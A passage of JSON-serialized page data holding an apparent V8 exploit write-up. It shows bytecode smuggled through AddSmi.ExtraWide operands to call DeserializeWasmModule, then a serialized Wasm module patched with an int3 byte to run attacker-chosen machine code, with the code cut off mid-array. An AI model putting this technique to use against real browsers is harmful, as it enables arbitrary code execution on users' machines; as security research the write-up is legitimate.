",{"type":21,"tag":78,"props":135355,"children":135357},{"className":135356},[],[135358],{"type":26,"value":135359},"AddSmi",{"type":26,"value":135361}," instruction, it represents the number of operations performed on the target value so far.",{"type":21,"tag":22,"props":135363,"children":135364},{},[135365],{"type":26,"value":135366},"For example, we can look at the below Ignition disassembly:",{"type":21,"tag":143,"props":135368,"children":135370},{"code":135369},"2000 : 01 0d 11 11 93 0e LdaSmi.ExtraWide [244519185]\n2006 : cd                Star1\n2007 : 00 1b ff ff 1d ff Mov.Wide \u003Ccontext>, r220\n2013 : 0b f8             Ldar r1\n2015 : 01 4b 11 11 93 0a 01 00 00 00 AddSmi.ExtraWide [177410321], [1]\n2025 : 0b f8             Ldar r1\n2027 : 01 4b 11 11 93 0a 02 00 00 00 AddSmi.ExtraWide [177410321], [2]\n2037 : 0b f8             Ldar r1\n2039 : 01 4b 11 11 93 0a 03 00 00 00 AddSmi.ExtraWide [177410321], [3]\n2049 : 0b f8             Ldar r1\n2051 : 01 4b 11 11 93 0a 04 00 00 00 AddSmi.ExtraWide [177410321], [4]\n2061 : 0b f8             Ldar r1\n2063 : 01 4b 11 11 93 0a 05 00 00 00 AddSmi.ExtraWide [177410321], [5]\n",[135371],{"type":21,"tag":78,"props":135372,"children":135373},{"__ignoreMap":7},[135374],{"type":26,"value":135369},{"type":21,"tag":22,"props":135376,"children":135377},{},[135378,135380,135386],{"type":26,"value":135379},"We can see the feedback vector slot increments for every operation. This means that with a smuggled jump slide through ",{"type":21,"tag":78,"props":135381,"children":135383},{"className":135382},[],[135384],{"type":26,"value":135385},"AddSmi.ExtraWide",{"type":26,"value":135387},", we can control almost 8 bytes (because of the SMI constraint) given enough addition instructions.",{"type":21,"tag":22,"props":135389,"children":135390},{},[135391],{"type":26,"value":135392},"Eventually, we can reach a stage like this:",{"type":21,"tag":143,"props":135394,"children":135396},{"code":135395},"4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n",[135397],{"type":21,"tag":78,"props":135398,"children":135399},{"__ignoreMap":7},[135400],{"type":26,"value":135395},{"type":21,"tag":22,"props":135402,"children":135403},{},[135404],{"type":26,"value":135405},"If you skip the first two bytes, you have",{"type":21,"tag":87,"props":135407,"children":135408},{},[135409,135440],{"type":21,"tag":91,"props":135410,"children":135411},{},[135412,135417,135419,135424,135426,135432,135434],{"type":21,"tag":78,"props":135413,"children":135415},{"className":135414},[],[135416],{"type":26,"value":135211},{"type":26,"value":135418}," (0x6c) to ",{"type":21,"tag":78,"props":135420,"children":135422},{"className":135421},[],[135423],{"type":26,"value":135227},{"type":26,"value":135425}," (0x0266) starting from register ",{"type":21,"tag":78,"props":135427,"children":135429},{"className":135428},[],[135430],{"type":26,"value":135431},"a2",{"type":26,"value":135433}," (0x4) with 2 arguments (0x2). This becomes the call: ",{"type":21,"tag":78,"props":135435,"children":135437},{"className":135436},[],[135438],{"type":26,"value":135439},"DeserializeWasmModule(a2, a1)",{"type":21,"tag":91,"props":135441,"children":135442},{},[135443],{"type":26,"value":135444},"a Jump instruction",{"type":21,"tag":114,"props":135446,"children":135448},{"id":135447},"returning-back-to-js",[135449],{"type":26,"value":135450},"Returning Back to JS",{"type":21,"tag":22,"props":135452,"children":135453},{},[135454,135456,135462],{"type":26,"value":135455},"After that call, the result is stored in the accumulator. Since this function is an async generator, we have to ",{"type":21,"tag":78,"props":135457,"children":135459},{"className":135458},[],[135460],{"type":26,"value":135461},"yield",{"type":26,"value":135463}," the result, but that results in a long series of instructions that we can't possibly smuggle.",{"type":21,"tag":22,"props":135465,"children":135466},{},[135467],{"type":26,"value":135468},"The solution here is simple: we use the smuggled control flow to merge back into the normal control flow, that leads us into a yield from the original JS. For example, in our exploit, all the additions were done in a try block:",{"type":21,"tag":143,"props":135470,"children":135472},{"code":135471,"language":34060,"meta":7,"className":34058,"style":7},"try {\n  ${'a1 + 0xa931111;'.repeat(0x059302 - 1)}\n  a1 + 0x0402666c;\n  throw 0x393e91a;\n} catch (e) {\n  console.log(\"foo\");\n  yield a16;\n}\n",[135473],{"type":21,"tag":78,"props":135474,"children":135475},{"__ignoreMap":7},[135476,135487,135535,135556,135572,135595,135623,135640],{"type":21,"tag":153,"props":135477,"children":135478},{"class":155,"line":156},[135479,135483],{"type":21,"tag":153,"props":135480,"children":135481},{"style":1751},[135482],{"type":26,"value":50621},{"type":21,"tag":153,"props":135484,"children":135485},{"style":160},[135486],{"type":26,"value":236},{"type":21,"tag":153,"props":135488,"children":135489},{"class":155,"line":166},[135490,135495,135499,135504,135508,135513,135517,135522,135526,135530],{"type":21,"tag":153,"props":135491,"children":135492},{"style":192},[135493],{"type":26,"value":135494},"  $",{"type":21,"tag":153,"props":135496,"children":135497},{"style":160},[135498],{"type":26,"value":78915},{"type":21,"tag":153,"props":135500,"children":135501},{"style":671},[135502],{"type":26,"value":135503},"'a1 + 0xa931111;'",{"type":21,"tag":153,"props":135505,"children":135506},{"style":160},[135507],{"type":26,"value":355},{"type":21,"tag":153,"props":135509,"children":135510},{"style":181},[135511],{"type":26,"value":135512},"repeat",{"type":21,"tag":153,"props":135514,"children":135515},{"style":160},[135516],{"type":26,"value":189},{"type":21,"tag":153,"props":135518,"children":135519},{"style":300},[135520],{"type":26,"value":135521},"0x059302",{"type":21,"tag":153,"props":135523,"children":135524},{"style":198},[135525],{"type":26,"value":53546},{"type":21,"tag":153,"props":135527,"children":135528},{"style":300},[135529],{"type":26,"value":7253},{"type":21,"tag":153,"props":135531,"children":135532},{"style":160},[135533],{"type":26,"value":135534},")}\n",{"type":21,"tag":153,"props":135536,"children":135537},{"class":155,"line":225},[135538,135543,135547,135552],{"type":21,"tag":153,"props":135539,"children":135540},{"style":192},[135541],{"type":26,"value":135542},"  a1",{"type":21,"tag":153,"props":135544,"children":135545},{"style":198},[135546],{"type":26,"value":5527},{"type":21,"tag":153,"props":135548,"children":135549},{"style":300},[135550],{"type":26,"value":135551}," 0x0402666c",{"type":21,"tag":153,"props":135553,"children":135554},{"style":160},[135555],{"type":26,"value":1759},{"type":21,"tag":153,"props":135557,"children":135558},{"class":155,"line":239},[135559,135563,135568],{"type":21,"tag":153,"props":135560,"children":135561},{"style":1751},[135562],{"type":26,"value":37895},{"type":21,"tag":153,"props":135564,"children":135565},{"style":300},[135566],{"type":26,"value":135567}," 0x393e91a",{"type":21,"tag":153,"props":135569,"children":135570},{"style":160},[135571],{"type":26,"value":1759},{"type":21,"tag":153,"props":135573,"children":135574},{"class":155,"line":382},[135575,135579,135583,135587,135591],{"type":21,"tag":153,"props":135576,"children":135577},{"style":160},[135578],{"type":26,"value":49163},{"type":21,"tag":153,"props":135580,"children":135581},{"style":1751},[135582],{"type":26,"value":50701},{"type":21,"tag":153,"props":135584,"children":135585},{"style":160},[135586],{"type":26,"value":5820},{"type":21,"tag":153,"props":135588,"children":135589},{"style":192},[135590],{"type":26,"value":53745},{"type":21,"tag":153,"props":135592,"children":135593},{"style":160},[135594],{"type":26,"value":2659},{"type":21,"tag":153,"props":135596,"children":135597},{"class":155,"line":501},[135598,135602,135606,135610,135614,135619],{"type":21,"tag":153,"props":135599,"children":135600},{"style":192},[135601],{"type":26,"value":104241},{"type":21,"tag":153,"props":135603,"children":135604},{"style":160},[135605],{"type":26,"value":355},{"type":21,"tag":153,"props":135607,"children":135608},{"style":181},[135609],{"type":26,"value":104250},{"type":21,"tag":153,"props":135611,"children":135612},{"style":160},[135613],{"type":26,"value":189},{"type":21,"tag":153,"props":135615,"children":135616},{"style":671},[135617],{"type":26,"value":135618},"\"foo\"",{"type":21,"tag":153,"props":135620,"children":135621},{"style":160},[135622],{"type":26,"value":530},{"type":21,"tag":153,"props":135624,"children":135625},{"class":155,"line":533},[135626,135631,135636],{"type":21,"tag":153,"props":135627,"children":135628},{"style":1751},[135629],{"type":26,"value":135630},"  yield",{"type":21,"tag":153,"props":135632,"children":135633},{"style":192},[135634],{"type":26,"value":135635}," a16",{"type":21,"tag":153,"props":135637,"children":135638},{"style":160},[135639],{"type":26,"value":1759},{"type":21,"tag":153,"props":135641,"children":135642},{"class":155,"line":542},[135643],{"type":21,"tag":153,"props":135644,"children":135645},{"style":160},[135646],{"type":26,"value":548},{"type":21,"tag":22,"props":135648,"children":135649},{},[135650,135652],{"type":26,"value":135651},"Starting from the final ",{"type":21,"tag":78,"props":135653,"children":135655},{"className":135654},[],[135656],{"type":26,"value":135359},{"type":21,"tag":143,"props":135658,"children":135660},{"code":135659}," 4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n 4385784 : 01 0d 1a e9 93 03 LdaSmi.ExtraWide [60025114]\n 4385790 : b1                Throw\n 4385791 : 00 1a 1a ff       Star.Wide r223\n",[135661],{"type":21,"tag":78,"props":135662,"children":135663},{"__ignoreMap":7},[135664],{"type":26,"value":135659},{"type":21,"tag":22,"props":135666,"children":135667},{},[135668,135670,135675,135677,135683],{"type":26,"value":135669},"The smuggled jump in ",{"type":21,"tag":78,"props":135671,"children":135673},{"className":135672},[],[135674],{"type":26,"value":135359},{"type":26,"value":135676}," will redirect us to ",{"type":21,"tag":78,"props":135678,"children":135680},{"className":135679},[],[135681],{"type":26,"value":135682},"1a e9 93 03",{"type":26,"value":135684},", which results in:",{"type":21,"tag":87,"props":135686,"children":135687},{},[135688,135699],{"type":21,"tag":91,"props":135689,"children":135690},{},[135691,135697],{"type":21,"tag":78,"props":135692,"children":135694},{"className":135693},[],[135695],{"type":26,"value":135696},"Star r16",{"type":26,"value":135698}," (store accumulator to r16)",{"type":21,"tag":91,"props":135700,"children":135701},{},[135702,135707],{"type":21,"tag":78,"props":135703,"children":135705},{"className":135704},[],[135706],{"type":26,"value":135129},{"type":26,"value":135708}," past the throw into the catch relevant code",{"type":21,"tag":22,"props":135710,"children":135711},{},[135712,135714,135720],{"type":26,"value":135713},"This will bring us nicely to the final ",{"type":21,"tag":78,"props":135715,"children":135717},{"className":135716},[],[135718],{"type":26,"value":135719},"yield a16",{"type":26,"value":135721},", and we now have a Deserialized Wasm Module with our own arbitrary machine code.",{"type":21,"tag":114,"props":135723,"children":135725},{"id":135724},"executing-shellcode",[135726],{"type":26,"value":135727},"Executing Shellcode",{"type":21,"tag":22,"props":135729,"children":135730},{},[135731],{"type":26,"value":135732},"To test this, we first serialize a small WebAssembly module and print the resulting Uint8Array:",{"type":21,"tag":143,"props":135734,"children":135736},{"code":135735,"language":38309,"meta":7,"className":38307,"style":7},"var wasm_code = new Uint8Array([\n  0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n  0, 0, 10, 4, 1, 2, 0, 11,\n]);\nvar mod = new WebAssembly.Module(wasm_code);\nvar inst = new WebAssembly.Instance(mod);\nvar func = inst.exports.shell;\n\n%WasmTierUpFunction(func);\nvar serialized = %SerializeWasmModule(mod);\nlet result = new Uint8Array(serialized);\nconsole.log('[' + result.join(', ') + ']');\n",[135737],{"type":21,"tag":78,"props":135738,"children":135739},{"__ignoreMap":7},[135740,135770,135997,136065,136072,136117,136163,136203,136210,136234,136271,136307],{"type":21,"tag":153,"props":135741,"children":135742},{"class":155,"line":156},[135743,135747,135752,135756,135760,135765],{"type":21,"tag":153,"props":135744,"children":135745},{"style":170},[135746],{"type":26,"value":2646},{"type":21,"tag":153,"props":135748,"children":135749},{"style":192},[135750],{"type":26,"value":135751}," wasm_code",{"type":21,"tag":153,"props":135753,"children":135754},{"style":198},[135755],{"type":26,"value":255},{"type":21,"tag":153,"props":135757,"children":135758},{"style":170},[135759],{"type":26,"value":34627},{"type":21,"tag":153,"props":135761,"children":135762},{"style":181},[135763],{"type":26,"value":135764}," Uint8Array",{"type":21,"tag":153,"props":135766,"children":135767},{"style":160},[135768],{"type":26,"value":135769},"([\n",{"type":21,"tag":153,"props":135771,"children":135772},{"class":155,"line":166},[135773,135778,135782,135787,135791,135796,135800,135805,135809,135813,135817,135821,135825,135829,135833,135837,135841,135845,135849,135853,135857,135861,135865,135870,135874,135878,135882,135886,135890,135894,135898,135902,135906,135910,135914,135918,135922,135926,135930,135934,135938,135942,135946,135950,135954,135958,135962,135967,135971,135976,135980,135985,135989,135993],{"type":21,"tag":153,"props":135774,"children":135775},{"style":300},[135776],{"type":26,"value":135777},"  0",{"type":21,"tag":153,"props":135779,"children":135780},{"style":160},[135781],{"type":26,"value":1670},{"type":21,"tag":153,"props":135783,"children":135784},{"style":300},[135785],{"type":26,"value":135786},"97",{"type":21,"tag":153,"props":135788,"children":135789},{"style":160},[135790],{"type":26,"value":1670},{"type":21,"tag":153,"props":135792,"children":135793},{"style":300},[135794],{"type":26,"value":135795},"115",{"type":21,"tag":153,"props":135797,"children":135798},{"style":160},[135799],{"type":26,"value":1670},{"type":21,"tag":153,"props":135801,"children":135802},{"style":300},[135803],{"type":26,"value":135804},"109",{"type":21,"tag":153,"props":135806,"children":135807},{"style":160},[135808],{"type":26,"value":1670},{"type":21,"tag":153,"props":135810,"children":135811},{"style":300},[135812],{"type":26,"value":3033},{"type":21,"tag":153,"props":135814,"children":135815},{"style":160},[135816],{"type":26,"value":1670},{"type":21,"tag":153,"props":135818,"children":135819},{"style":300},[135820],{"type":26,"value":2996},{"type":21,"tag":153,"props":135822,"children":135823},{"style":160},[135824],{"type":26,"value":1670},{"type":21,"tag":153,"props":135826,"children":135827},{"style":300},[135828],{"type":26,"value":2996},{"type":21,"tag":153,"props":135830,"children":135831},{"style":160},[135832],{"type":26,"value":1670},{"type":21,"tag":153,"props":135834,"children":135835},{"style":300},[135836],{"type":26,"value":2996},{"type":21,"tag":153,"props":135838,"children":135839},{"style":160},[135840],{"type":26,"value":1670},{"type":21,"tag":153,"props":135842,"children":135843},{"style":300},[135844],{"type":26,"value":3033},{"type":21,"tag":153,"props":135846,"children":135847},{"style":160},[135848],{"type":26,"value":1670},{"type":21,"tag":153,"props":135850,"children":135851},{"style":300},[135852],{"type":26,"value":4104},{"type":21,"tag":153,"props":135854,"children":135855},{"style":160},[135856],{"type":26,"value":1670},{"type":21,"tag":153,"props":135858,"children":135859},{"style":300},[135860],{"type":26,"value":3033},{"type":21,"tag":153,"props":135862,"children":135863},{"style":160},[135864],{"type":26,"value":1670},{"type":21,"tag":153,"props":135866,"children":135867},{"style":300},[135868],{"type":26,"value":135869},"96",{"type":21,"tag":153,"props":135871,"children":135872},{"style":160},[135873],{"type":26,"value":1670},{"type":21,"tag":153,"props":135875,"children":135876},{"style":300},[135877],{"type":26,"value":2996},{"type":21,"tag":153,"props":135879,"children":135880},{"style":160},[135881],{"type":26,"value":1670},{"type":21,"tag":153,"props":135883,"children":135884},{"style":300},[135885],{"type":26,"value":2996},{"type":21,"tag":153,"props":135887,"children":135888},{"style":160},[135889],{"type":26,"value":1670},{"type":21,"tag":153,"props":135891,"children":135892},{"style":300},[135893],{"type":26,"value":4303},{"type":21,"tag":153,"props":135895,"children":135896},{"style":160},[135897],{"type":26,"value":1670},{"type":21,"tag":153,"props":135899,"children":135900},{"style":300},[135901],{"type":26,"value":5873},{"type":21,"tag":153,"props":135903,"children":135904},{"style":160},[135905],{"type":26,"value":1670},{"type":21,"tag":153,"props":135907,"children":135908},{"style":300},[135909],{"type":26,"value":3033},{"type":21,"tag":153,"props":135911,"children":135912},{"style":160},[135913],{"type":26,"value":1670},{"type":21,"tag":153,"props":135915,"children":135916},{"style":300},[135917],{"type":26,"value":2996},{"type":21,"tag":153,"props":135919,"children":135920},{"style":160},[135921],{"type":26,"value":1670},{"type":21,"tag":153,"props":135923,"children":135924},{"style":300},[135925],{"type":26,"value":56962},{"type":21,"tag":153,"props":135927,"children":135928},{"style":160},[135929],{"type":26,"value":1670},{"type":21,"tag":153,"props":135931,"children":135932},{"style":300},[135933],{"type":26,"value":58177},{"type":21,"tag":153,"props":135935,"children":135936},{"style":160},[135937],{"type":26,"value":1670},{"type":21,"tag":153,"props":135939,"children":135940},{"style":300},[135941],{"type":26,"value":3033},{"type":21,"tag":153,"props":135943,"children":135944},{"style":160},[135945],{"type":26,"value":1670},{"type":21,"tag":153,"props":135947,"children":135948},{"style":300},[135949],{"type":26,"value":20805},{"type":21,"tag":153,"props":135951,"children":135952},{"style":160},[135953],{"type":26,"value":1670},{"type":21,"tag":153,"props":135955,"children":135956},{"style":300},[135957],{"type":26,"value":135795},{"type":21,"tag":153,"props":135959,"children":135960},{"style":160},[135961],{"type":26,"value":1670},{"type":21,"tag":153,"props":135963,"children":135964},{"style":300},[135965],{"type":26,"value":135966},"104",{"type":21,"tag":153,"props":135968,"children":135969},{"style":160},[135970],{"type":26,"value":1670},{"type":21,"tag":153,"props":135972,"children":135973},{"style":300},[135974],{"type":26,"value":135975},"101",{"type":21,"tag":153,"props":135977,"children":135978},{"style":160},[135979],{"type":26,"value":1670},{"type":21,"tag":153,"props":135981,"children":135982},{"style":300},[135983],{"type":26,"value":135984},"108",{"type":21,"tag":153,"props":135986,"children":135987},{"style":160},[135988],{"type":26,"value":1670},{"type":21,"tag":153,"props":135990,"children":135991},{"style":300},[135992],{"type":26,"value":135984},{"type":21,"tag":153,"props":135994,"children":135995},{"style":160},[135996],{"type":26,"value":792},{"type":21,"tag":153,"props":135998,"children":135999},{"class":155,"line":225},[136000,136004,136008,136012,136016,136020,136024,136028,136032,136036,136040,136044,136048,136052,136056,136061],{"type":21,"tag":153,"props":136001,"children":136002},{"style":300},[136003],{"type":26,"value":135777},{"type":21,"tag":153,"props":136005,"children":136006},{"style":160},[136007],{"type":26,"value":1670},{"type":21,"tag":153,"props":136009,"children":136010},{"style":300},[136011],{"type":26,"value":2996},{"type":21,"tag":153,"props":136013,"children":136014},{"style":160},[136015],{"type":26,"value":1670},{"type":21,"tag":153,"props":136017,"children":136018},{"style":300},[136019],{"type":26,"value":91550},{"type":21,"tag":153,"props":136021,"children":136022},{"style":160},[136023],{"type":26,"value":1670},{"type":21,"tag":153,"props":136025,"children":136026},{"style":300},[136027],{"type":26,"value":4104},{"type":21,"tag":153,"props":136029,"children":136030},{"style":160},[136031],{"type":26,"value":1670},{"type":21,"tag":153,"props":136033,"children":136034},{"style":300},[136035],{"type":26,"value":3033},{"type":21,"tag":153,"props":136037,"children":136038},{"style":160},[136039],{"type":26,"value":1670},{"type":21,"tag":153,"props":136041,"children":136042},{"style":300},[136043],{"type":26,"value":5873},{"type":21,"tag":153,"props":136045,"children":136046},{"style":160},[136047],{"type":26,"value":1670},{"type":21,"tag":153,"props":136049,"children":136050},{"style":300},[136051],{"type":26,"value":2996},{"type":21,"tag":153,"props":136053,"children":136054},{"style":160},[136055],{"type":26,"value":1670},{"type":21,"tag":153,"props":136057,"children":136058},{"style":300},[136059],{"type":26,"value":136060},"11",{"type":21,"tag":153,"props":136062,"children":136063},{"style":160},[136064],{"type":26,"value":792},{"type":21,"tag":153,"props":136066,"children":136067},{"class":155,"line":239},[136068],{"type":21,"tag":153,"props":136069,"children":136070},{"style":160},[136071],{"type":26,"value":6485},{"type":21,"tag":153,"props":136073,"children":136074},{"class":155,"line":382},[136075,136079,136083,136087,136091,136096,136100,136104,136108,136113],{"type":21,"tag":153,"props":136076,"children":136077},{"style":170},[136078],{"type":26,"value":2646},{"type":21,"tag":153,"props":136080,"children":136081},{"style":192},[136082],{"type":26,"value":73919},{"type":21,"tag":153,"props":136084,"children":136085},{"style":198},[136086],{"type":26,"value":255},{"type":21,"tag":153,"props":136088,"children":136089},{"style":170},[136090],{"type":26,"value":34627},{"type":21,"tag":153,"props":136092,"children":136093},{"style":192},[136094],{"type":26,"value":136095}," WebAssembly",{"type":21,"tag":153,"props":136097,"children":136098},{"style":160},[136099],{"type":26,"value":355},{"type":21,"tag":153,"props":136101,"children":136102},{"style":181},[136103],{"type":26,"value":88216},{"type":21,"tag":153,"props":136105,"children":136106},{"style":160},[136107],{"type":26,"value":189},{"type":21,"tag":153,"props":136109,"children":136110},{"style":192},[136111],{"type":26,"value":136112},"wasm_code",{"type":21,"tag":153,"props":136114,"children":136115},{"style":160},[136116],{"type":26,"value":530},{"type":21,"tag":153,"props":136118,"children":136119},{"class":155,"line":501},[136120,136124,136129,136133,136137,136141,136145,136150,136154,136159],{"type":21,"tag":153,"props":136121,"children":136122},{"style":170},[136123],{"type":26,"value":2646},{"type":21,"tag":153,"props":136125,"children":136126},{"style":192},[136127],{"type":26,"value":136128}," inst",{"type":21,"tag":153,"props":136130,"children":136131},{"style":198},[136132],{"type":26,"value":255},{"type":21,"tag":153,"props":136134,"children":136135},{"style":170},[136136],{"type":26,"value":34627},{"type":21,"tag":153,"props":136138,"children":136139},{"style":192},[136140],{"type":26,"value":136095},{"type":21,"tag":153,"props":136142,"children":136143},{"style":160},[136144],{"type":26,"value":355},{"type":21,"tag":153,"props":136146,"children":136147},{"style":181},[136148],{"type":26,"value":136149},"Instance",{"type":21,"tag":153,"props":136151,"children":136152},{"style":160},[136153],{"type":26,"value":189},{"type":21,"tag":153,"props":136155,"children":136156},{"style":192},[136157],{"type":26,"value":136158},"mod",{"type":21,"tag":153,"props":136160,"children":136161},{"style":160},[136162],{"type":26,"value":530},{"type":21,"tag":153,"props":136164,"children":136165},{"class":155,"line":533},[136166,136170,136174,136178,136182,136186,136190,136194,136199],{"type":21,"tag":153,"props":136167,"children":136168},{"style":170},[136169],{"type":26,"value":2646},{"type":21,"tag":153,"props":136171,"children":136172},{"style":192},[136173],{"type":26,"value":82306},{"type":21,"tag":153,"props":136175,"children":136176},{"style":198},[136177],{"type":26,"value":255},{"type":21,"tag":153,"props":136179,"children":136180},{"style":192},[136181],{"type":26,"value":136128},{"type":21,"tag":153,"props":136183,"children":136184},{"style":160},[136185],{"type":26,"value":355},{"type":21,"tag":153,"props":136187,"children":136188},{"style":192},[136189],{"type":26,"value":40579},{"type":21,"tag":153,"props":136191,"children":136192},{"style":160},[136193],{"type":26,"value":355},{"type":21,"tag":153,"props":136195,"children":136196},{"style":192},[136197],{"type":26,"value":136198},"shell",{"type":21,"tag":153,"props":136200,"children":136201},{"style":160},[136202],{"type":26,"value":1759},{"type":21,"tag":153,"props":136204,"children":136205},{"class":155,"line":542},[136206],{"type":21,"tag":153,"props":136207,"children":136208},{"emptyLinePlaceholder":16},[136209],{"type":26,"value":759},{"type":21,"tag":153,"props":136211,"children":136212},{"class":155,"line":762},[136213,136217,136222,136226,136230],{"type":21,"tag":153,"props":136214,"children":136215},{"style":198},[136216],{"type":26,"value":58680},{"type":21,"tag":153,"props":136218,"children":136219},{"style":181},[136220],{"type":26,"value":136221},"WasmTierUpFunction",{"type":21,"tag":153,"props":136223,"children":136224},{"style":160},[136225],{"type":26,"value":189},{"type":21,"tag":153,"props":136227,"children":136228},{"style":192},[136229],{"type":26,"value":78597},{"type":21,"tag":153,"props":136231,"children":136232},{"style":160},[136233],{"type":26,"value":530},{"type":21,"tag":153,"props":136235,"children":136236},{"class":155,"line":776},[136237,136241,136246,136250,136255,136259,136263,136267],{"type":21,"tag":153,"props":136238,"children":136239},{"style":170},[136240],{"type":26,"value":2646},{"type":21,"tag":153,"props":136242,"children":136243},{"style":192},[136244],{"type":26,"value":136245}," serialized",{"type":21,"tag":153,"props":136247,"children":136248},{"style":198},[136249],{"type":26,"value":255},{"type":21,"tag":153,"props":136251,"children":136252},{"style":198},[136253],{"type":26,"value":136254}," %",{"type":21,"tag":153,"props":136256,"children":136257},{"style":181},[136258],{"type":26,"value":135253},{"type":21,"tag":153,"props":136260,"children":136261},{"style":160},[136262],{"type":26,"value":189},{"type":21,"tag":153,"props":136264,"children":136265},{"style":192},[136266],{"type":26,"value":136158},{"type":21,"tag":153,"props":136268,"children":136269},{"style":160},[136270],{"type":26,"value":530},{"type":21,"tag":153,"props":136272,"children":136273},{"class":155,"line":795},[136274,136278,136282,136286,136290,136294,136298,136303],{"type":21,"tag":153,"props":136275,"children":136276},{"style":170},[136277],{"type":26,"value":1555},{"type":21,"tag":153,"props":136279,"children":136280},{"style":192},[136281],{"type":26,"value":11882},{"type":21,"tag":153,"props":136283,"children":136284},{"style":198},[136285],{"type":26,"value":255},{"type":21,"tag":153,"props":136287,"children":136288},{"style":170},[136289],{"type":26,"value":34627},{"type":21,"tag":153,"props":136291,"children":136292},{"style":181},[136293],{"type":26,"value":135764},{"type":21,"tag":153,"props":136295,"children":136296},{"style":160},[136297],{"type":26,"value":189},{"type":21,"tag":153,"props":136299,"children":136300},{"style":192},[136301],{"type":26,"value":136302},"serialized",{"type":21,"tag":153,"props":136304,"children":136305},{"style":160},[136306],{"type":26,"value":530},{"type":21,"tag":153,"props":136308,"children":136309},{"class":155,"line":808},[136310,136315,136319,136323,136327,136332,136336,136340,136344,136349,136353,136358,136362,136366,136371],{"type":21,"tag":153,"props":136311,"children":136312},{"style":192},[136313],{"type":26,"value":136314},"console",{"type":21,"tag":153,"props":136316,"children":136317},{"style":160},[136318],{"type":26,"value":355},{"type":21,"tag":153,"props":136320,"children":136321},{"style":181},[136322],{"type":26,"value":104250},{"type":21,"tag":153,"props":136324,"children":136325},{"style":160},[136326],{"type":26,"value":189},{"type":21,"tag":153,"props":136328,"children":136329},{"style":671},[136330],{"type":26,"value":136331},"'['",{"type":21,"tag":153,"props":136333,"children":136334},{"style":198},[136335],{"type":26,"value":5527},{"type":21,"tag":153,"props":136337,"children":136338},{"style":192},[136339],{"type":26,"value":11882},{"type":21,"tag":153,"props":136341,"children":136342},{"style":160},[136343],{"type":26,"value":355},{"type":21,"tag":153,"props":136345,"children":136346},{"style":181},[136347],{"type":26,"value":136348},"join",{"type":21,"tag":153,"props":136350,"children":136351},{"style":160},[136352],{"type":26,"value":189},{"type":21,"tag":153,"props":136354,"children":136355},{"style":671},[136356],{"type":26,"value":136357},"', '",{"type":21,"tag":153,"props":136359,"children":136360},{"style":160},[136361],{"type":26,"value":2362},{"type":21,"tag":153,"props":136363,"children":136364},{"style":198},[136365],{"type":26,"value":4099},{"type":21,"tag":153,"props":136367,"children":136368},{"style":671},[136369],{"type":26,"value":136370}," ']'",{"type":21,"tag":153,"props":136372,"children":136373},{"style":160},[136374],{"type":26,"value":530},{"type":21,"tag":22,"props":136376,"children":136377},{},[136378],{"type":26,"value":136379},"This produces the following output:",{"type":21,"tag":143,"props":136381,"children":136383},{"code":136382},"[147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 85, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93, 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0]\n",[136384],{"type":21,"tag":78,"props":136385,"children":136386},{"__ignoreMap":7},[136387],{"type":26,"value":136382},{"type":21,"tag":22,"props":136389,"children":136390},{},[136391,136393,136399,136401,136407,136409,136415,136416,136422,136424,136429],{"type":26,"value":136392},"The bytes ",{"type":21,"tag":78,"props":136394,"children":136396},{"className":136395},[],[136397],{"type":26,"value":136398},"85, 72, 137, 229, ...",{"type":26,"value":136400}," correspond to the x86-64 function prologue (",{"type":21,"tag":78,"props":136402,"children":136404},{"className":136403},[],[136405],{"type":26,"value":136406},"push rbp; mov rbp, rsp",{"type":26,"value":136408},"). We replace the first byte with ",{"type":21,"tag":78,"props":136410,"children":136412},{"className":136411},[],[136413],{"type":26,"value":136414},"0xcc",{"type":26,"value":19157},{"type":21,"tag":78,"props":136417,"children":136419},{"className":136418},[],[136420],{"type":26,"value":136421},"int3",{"type":26,"value":136423}," opcode), and use this modified buffer as the serialized input to ",{"type":21,"tag":78,"props":136425,"children":136427},{"className":136426},[],[136428],{"type":26,"value":135227},{"type":26,"value":201},{"type":21,"tag":143,"props":136431,"children":136433},{"code":136432,"language":38309,"meta":7,"className":38307,"style":7},"(async () => {\n  const wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  const buffer = new Uint8Array([\n    147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64,\n    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0,\n    0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 204, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93,\n    195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 